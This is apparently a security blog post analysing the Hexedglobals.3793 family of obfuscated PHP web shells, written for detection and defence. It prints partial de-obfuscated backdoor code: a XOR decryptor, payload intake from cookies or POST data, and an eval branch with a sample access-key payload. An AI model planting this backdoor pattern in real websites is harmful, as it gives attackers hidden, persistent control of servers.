What is Detectify?

Investigation of PHP Web Shell Hexedglobals.3793 Variants

May 24, 2019

Our guest blogger and Detectify Crowdsource hacker 5w0rdFish details her research on Hexedglobals.3793 family of PHP-based malware and the de-obfuscation process. 

This article covers the analysis work undertaken on the Hexedglobals.3793 family of PHP based malware. The variants are: Kidslug, php.obfuscated!, php.malware.GLOBALS.003 and php.malware.GLOBALS.004.

During my investigation I documented my process, steps taken and also put together a separate tutorial on the de-obfuscation of this web shell. I have also put some scripts together which helps de-obfuscate the code.

Now this was my first deep dive on web shells, and I was only seeing one side of the story (due to no access to logs). I wanted to find out the following during my analysis:

  • What type of malware was it?
  • Were there other infections in the wild and what could I learn from this?
  • What was its behaviour?
  • Could any signatures be established from collective samples?


I was given a backup of a WordPress site to host in a dev area. As a matter of good practice, I installed a security scanner to check things out and within seconds it had identified the signature called hexedglobals.3793. The infection was embedded into two separate areas in the website.

The scanner did not reveal very much, it had highlighted that variable encoding was being used and that it is a suspicious trait used by malware. However it did do a good job of detecting it and I would advise if you have a WordPress site, that you install a plugin which assists with security to detect such things.


So, first up a quick google search to see what was known about this signature, and well… I got nothing. So then I started looking into the code itself and what I could figure out.

I had a look around the subject and found the Mitre Attack Techniques page to be quite handy in providing contextual information on the types of groups who are using web shells and the attacks in the wild.

What type of Malware was it?

A: An obfuscated web shell – A web shell is a way for an attacker to maintain persistence on a web server.

From my initial analysis I was able to establish it was a web shell and that the attacker had injected it in into the website through some insecurity. Some video’s covering information can be found here; (High level) Anatomy of a web shell – D0n Quix0te and at a more technical level “Hunting and Dissecting the Weevely Web Shell – Threat Hunting Summit 2016”

Looks like a file, acts like a file but is it just a file?

Below shows the seemingly innocent file it was embedded within; however, hackers had injected the malicious script in a place which is not seen at first glance. You need to scroll along to get to see it. This is a common attribute I have noticed with the samples I have studied, that they have hidden the code in plain sight by adding long space between the original code and itself. Approximately 500 characters of space between the end of the line it had been injected on, and the start of the malware.

Malicious files like this may be detected by website scanners if the signatures are recognised and the scanners can search within the files directory on the server (for non-public php files). Some of the samples I did find were due to where they were injected, and the code carried through to the main public facing pages, as such were found when searching for the traits online.

There are some very sophisticated web shells out there, that evade IDS/ IDPS, logs and even behaviour analysis. You could perhaps look for suspicious behaviour in webserver logs, however attackers can be quite crafty and use different methods to hide their tracks by sending commands to the server which go unnoticed. Examples of this behaviour can be POST requests sent, or sending commands through the use of user agents.

A good method is to prevent them in the first place is with hardening of the webserver and client code so it’s not possible to have the web shell injected. Not having the vulnerabilities there in the first place really helps to prevent this kind of thing, and the guys at Detectify can help assist with their vulnerability analysis platform.

Also it’s a good idea to disrupt persistence as soon as possible with the use of file integrity monitoring. This would help pick up any changes. Unfortunately, with WordPress sites this can sometimes be cumbersome to the untrained eye as updates occur on plugins and the changes may be missed. Also, with web shells being injected into the normal templates, plugins or being named innocent files on the server, it makes them harder to be detected.

Obfuscation can make detection harder by hiding the code itself and making it unique, therefore not being recognised by signature type detection. In addition to this, it is generally crammed onto one line minified to make it less transparent to what it is doing. So, when viewing the files you may not see the injection is there.

There are tools online that can offer obfuscation, also tools within Kali such as Weevley and other such ones are known such as FOPO. However, the way in which they generate and display the obfuscated code is different to what I had found. I tried a few different sites and methods for quick wins with de-obfuscation but to no avail, but I had at least some initial information to help me get started. It was starting to look like I would need to manually de-obfuscate.

FOPO Obfuscated code vs Discovered code.

Were there other infections in the wild and were there any similarities?

A: Yes

Now the website I was investigating had two infections, so I had enough to look for similarities and compare against other sites.

With some Google Dorking and with the use of NerdyData.com I was able to identify other infected sites on the internet. By searching for the {“\x47\x4c\x4fB\x41\x4c\x53”} hexed string I was able to find further samples. This did indeed bring up false positives but also other variants of malware which were similar but not the same family. Typically though with this type of infection it won’t show publicly client side. However as previously stated I was able to find some, due to the way the WordPress engine pulls the pages together. When the attackers inject into some theme pages or plugins, because the page is displayed through the CMS they may be end up being viewable on public facing pages.

One such site infected was a cattery. I mean cats…come on look at their faces how could they?

There were other sites which had similar injections on their main sites. I won’t link them here as some are quite dangerous to visit due to other infections (it was enough to trigger my ISP filters).

You can also search through GitHub for the string such as “\x47\x4c\x4fB\x41\x4c\x53”. When doing this there was a lot of code online as developers may use obfuscation for genuine purposes, however I did find an issue relating to one project. This was not however the only time I have seen this, with various plugins being targeted, users will sometimes complain to the plugin owners that they have been hacked. It normally turns into “It’s not our plugin, It sounds like a YOU problem.”

So back to the code. I found four main samples to work with.

$u9eee3f = 896;  $GLOBALS['tf7ebf']= Array(); global $GLOBALS; $GLOBALS= $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['l94b537e'] ..continues

$e25ce08e = 499; $GLOBALS['l0dde52'] = Array(); global $l0dde52; $l0dde52= $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['aceb'] ..continues

$d5000e = 497;   $GLOBALS['z2ad5'] = Array();global $z2ad5; $z2ad5 = $GLOBALS; ${"\x47\x4c\x4fB\x41\x4c\x53"}['uee66'] ..continues

$zdfc9 = 761;    $GLOBALS['i4a84'] = Array();global $i4a84; $i4a84 = $GLOBALS; ${"\x47\x4c\x4fB\x41\x4c\x53"}['sb9f6ce6'] ..continues

There are some slight differences. Being the obfuscated code within the brackets – the variable names and an initial identifying number. The initial identifiable number may be incrementing, as I had found 499 and 497 on the same server. The numbers at the start are different to each sample of malware and perhaps point to a specific infection for an attacker to assist with command and control.

Other Variants Discovered
As previously mentioned, I didn’t find much on the original attributed name hexedglobals.3793, but I searched through sites such as Sucuri’s Malware signatures list and I manually reviewed the obfuscated sample snippets shown. I was able to identify malware which appears to be from the same family but just named differently. They all had the same pattern in the way the code was obfuscated. I also found something similar on stack exchange with an alternate deobfuscation.

I did notice when looking that sometimes the hex string was not capatilised for the x4fB therefore was x4fb {“\x47\x4c\x4fb\x41\x4c\x53”}.

The other attributed names I discovered:

hexedglobals.3793 | Kidslug | php.obfuscated! | php.malware.GLOBALS.003 | php.malware.GLOBALS.004

On my last day of writing this report I was doing some final searches online and I found something interesting. It appears Kapersky found similar files under the names of Code29.php and Proxy87.php on compromised servers.

Regarding the files code29.php and proxy87.php. I undertook some research to see how many sites were out there with these files. There seems to be a fair few files with other similar names. I undertook a search on the wayback machine and saw there were other files coming from the \etc directory with the same numbering format.

Wayback Machine output for Australian Lawyers.

What was its behaviour?

A1: It used its own alphabet to transpose characters required in the code. This was to aid obfuscation and deter reverse engineering attempts. It also added extra variables into the code which needed to be stripped out in order for it to show its true nature.

I started off with many lines of code which seemed to use a lot of hex to cover its structure, variables and behaviour. After beautifying the code it did start to make a bit more sense and it was possible to start identifying functions.

I wanted to understand what was happening under the hood. In doing so I had a reached out to the security research community and asked their advice as it was my first experience with obfuscated web shells. It’s a good idea to do this, you can’t be an expert at everything, and the community is welcoming enough to have someone say “hey can you help point me in the right direction so I can learn about this?” Not many other people had seen this type of web shell though.

I had shared the malware samples with some associates for them to look at and give me some feedback. Myself @duniel_pls and TallPanda worked our way through the code de-obfuscating manually. @TimmehWimmy provided me with a good tutorial he had written de-obfuscating some malware previously and some pointers, but the malware he had written the tutorial for was completely different. Mine relied heavily on the use of hex to cover its variable names, and I could not see that it was using many of the traditional methods such as base64 encoding, gzinflate or str_rot13 at this point.

So I went through a slow process of manually decoding the hex into the relevant variable names and its structure started to become apparent.

There was a lot of duplication with the use of the $GLOBALS variable. It also appeared to be using an alphabet with a programmed function to look up the position of the alphabet by way of the numbers called in the code and carrying out a replacement.
['l94b537e'] = "\x5e\x71\x7c\x43\x7a\x6a\x23\x6d\x26\x2d\x44\x3c\x34\x27\x66\x52\x38\x4a\
$tf7ebf[$tf7ebf['l94b537e'][81] . $tf7ebf['l94b537e'][96] . $tf7ebf['l94b537e'][62] . $tf7ebf['l94b537e'][62] .
continues ...

Mattias Geniar has referred to this as a “replacement” obfuscation technique in his slide deck for “Code Obfuscation, PHP shells & more: what hackers do once they get passed your code.”

@TimmehWimmy got back in touch and had told me that another of his client had experienced the same infection. He also provided me with a link to a great Github which goes into the same family of malware and gives some oversight as to what it is doing. By this point I was quite far into the reversing of it and it was great to see that I had some of my pseudo code and theories confirmed.

Once the alphabet had been decoded it was then possible to see the variables and the functions clearly defined. Another iteration of find and replace was carried out. At first it was a slow arduous process with trial and repeat, but as mentioned previously, I now have ccreated a tool to help automate this process turning hours into seconds!

It was quite a simple but effective method but It appears the attacker however has saved the scripts overall complexity for the communication between the attacker and the server.

What was its other behaviour?

A2: The backdoor is only accessible by the attacker by using an encrypted key, of which they would then be able to send commands via cookies sent in a post request.

This type of backdoor is called a Asymmetric back door, where the attacker would be the only person use it even if found publicly.

After de-obfuscation we only get to see a partial idea of what is happening. So I have documented below what the raw version looks like and what a normalised version would look like for it to make sense. With the help of MKorostoff Github we can start to build a better picture. There is no where in the code that gives us the values for many of the variables documented below and a matter of assumption. The values highlighted in red show these values. It is assumed, MKorostoff may have had the cookie, logs or other methods to help de-obfuscate the function variables.
function od7aaa($encrypted_text, $decryption_key);{
$m45a95278 = "";
for ($c4027c = 0; $c4027c <strlen($encrypted_text);{
for ($h5939ff98 = 0;
$h5939ff98 <strlen($decryption_key) &&
$c4027c <f1d2fcb0($encrypted_text); $h5939ff98++,
$decrypted_text=t393b1a4(t8e8d3f5($encrypted_text[$c4027c]) ^ t8e8d3f5($decryption_key[$h5939ff98]));
return $m45a95278;

MKorostoff Github extract
function decrypt($encrypted_text, $decryption_key) {
$decrypted_text = "";
for ($character=0; $character<strlen($encrypted_text);) {
for ($decryption_key_character=0; $decryption_key_character<strlen($decryption_key) && $character<strlen($encrypted_text); $decryption_key_character++, $character++) { $decrypted_text .= chr(ord($encrypted_text[$character]) ^ ord($decryption_key[$decryption_key_character])); } } return $decrypted_text; }

@kielwadner had presented at the Sans DFIR summit on the Weeveley web shell, on his slides we can see that Weeveley undertakes a similar XOR function during its obfuscation encryption process process.

Also upon looking at the Kapersky findings, they have also named the functions along the likes of XOR which shows they also picked up on this behaviour, unfortunately they have not provided further analysis.

The next part handles the encryption mechanism, Mkorostoff comments that it does this twice.
function za14($encrypted_text, $decryption_key);{ $d7c88e; (This is d7c88e = 1e18c0a6-b90a-41cc-b328-76ece1e56c0f) return g84ab9(g84ab9($encrypted_text, $d7c88e) , $decryption_key); } function _decrypt($encrypted_text, $decryption_key) { global $access_key; return decrypt(decrypt($encrypted_text, $access_key), $decryption_key);}
Now the use of the cookie is what I feel is the smartest part about the code.
foreach($_COOKIE as $decryption_key = > $d855791b8);
$encrypted_text = $d855791b8;
$ccfa2c = $decryption_key;

if (!$encrypted_text);
foreach($GLOBALS a796 as $decryption_key = > $d855791b8) ;
$encrypted_text = $d855791b8;
$ccfa2c = $decryption_key;
If we review Mkorostoff comments and code we can see that he has replaced some of the variable names with new ones. These are highlighted in green. $encrypted_text is now been named $attack_payload. and $decryption_key is cookie name.

This is because the attack payload is sent through the cookies. The cookie name is used for the decryption to take place and once the cookie value is decrypted it contains the attack payload. This aids the authentication mechanism.
* First check to see if the attack payload is present in a cookie.
* This is probably a redundancy. If for some reason we are attacking
* a webserver that blocks cookies from untrusted IP addresses, this
* step will fail.

foreach ($_COOKIE as $cookie_name => $cookie_value) {
$attack_payload = $cookie_value;
$decryption_key = $cookie_name;

* If sending the attack payload in a cookie failed, try to read the same
* data from POST. If both POST and cookies are blocked (perhaps at the
* WAF level) then this whole exploit will fail.
if (!$attack_payload) {
foreach ($_POST as $post_name => $post_value) {
$attack_payload = $post_value;
$decryption_key = $post_name;
Other malware such as WSO has similar behaviour and Sjoerd has done a great article on circumventing the authentication put in place of a webshell. This article looks at how the code he has reviewed uses cookies with MD5 in order to ascertain correct authentication.

The last part of the code has a function where if it receives “i” it will present the server info such as the php version. It could be possible that the attacker has done this to assist with automation for something else. It does make me wonder though with the upgrades of server PHP versions now on version 7+ of PHP if some of the php C&C tools will still work correctly and how long before they get updated. When looking at the B374K webshell one of the popular known ones, it says it supports 4.5 and version 5. In the issues tab you can see someone is successfully using it on php version 7. 1 but the github page hasn’t been updated in a long time. There are future versions of php to be released over the next few years, and it will be interesting to see which tools get updated in the process.
$v63887 = unserialize(za14(base64_decode($v63887), $ccfa2c));

if (isset($v63887[“ak”]) && $d7c88e == $v63887[“ak”])
if ($v63887[“a”] == “i”)
$c4027c = Array(
“pv” => @$GLOBALS[“i6ae52”]() ,
“sv” => “1.0-1”
echo @serialize($c4027c);
elseif ($v63887[“a”] == “e”)
eval /*v4d8a7b*/

Last up is the eval which is looking at the attack payload and the actions. Mkorostoff defined the “e” as the execute command and “d” as the payload. When the correct access key is provided by the attacker it will initiate the attack.
* array(
* 'ak' => '38b2c3ff-4bd0-4fb0-99aa-46936087d510',
* 'a' => 'e',
* 'd' => 'echo "hello world"'
* );

Q: Could any signatures be established from collective samples?

A: The following below were noted during analysis


  • Space of around 500 characters of empty space before malware is injected.
  • All use the global variable repetitively.
  • All have used the same obfuscation technique of replacement of hex
  • All have an assigned number at the start of the infected file as some kind of identifier.
  • All have the same clever method of asymmetric backdoor interaction with the attacker.

If you are reading this because you have found similar on your server here are some handy links to help remove and prevent in the future:



This has been quite and interesting piece to write about and research, from just having a signature and not much else to go on I have been able to assert that the malware is known by other names and shares the same traits.

Although, simple in its nature, it uses the clever authentication mechanism to provide an Asymmetric backdoor to communicate with the attacker. There has been traces of the malware upon servers with also the filenames code29.php and proxy87.php that need further investigation. Upon searching for these files it seems that there are further infections out there in the wild and could be part of a wider network of infections. From what analysis is available online, the researchers have distinguished its behaviour similarly and it is hoped that this article has provided further insight and understanding around this malware family.

Go to the How-to Tutorial: PHP Webshell De-Obfuscation

Written by:
Security Researcher
Visit her blog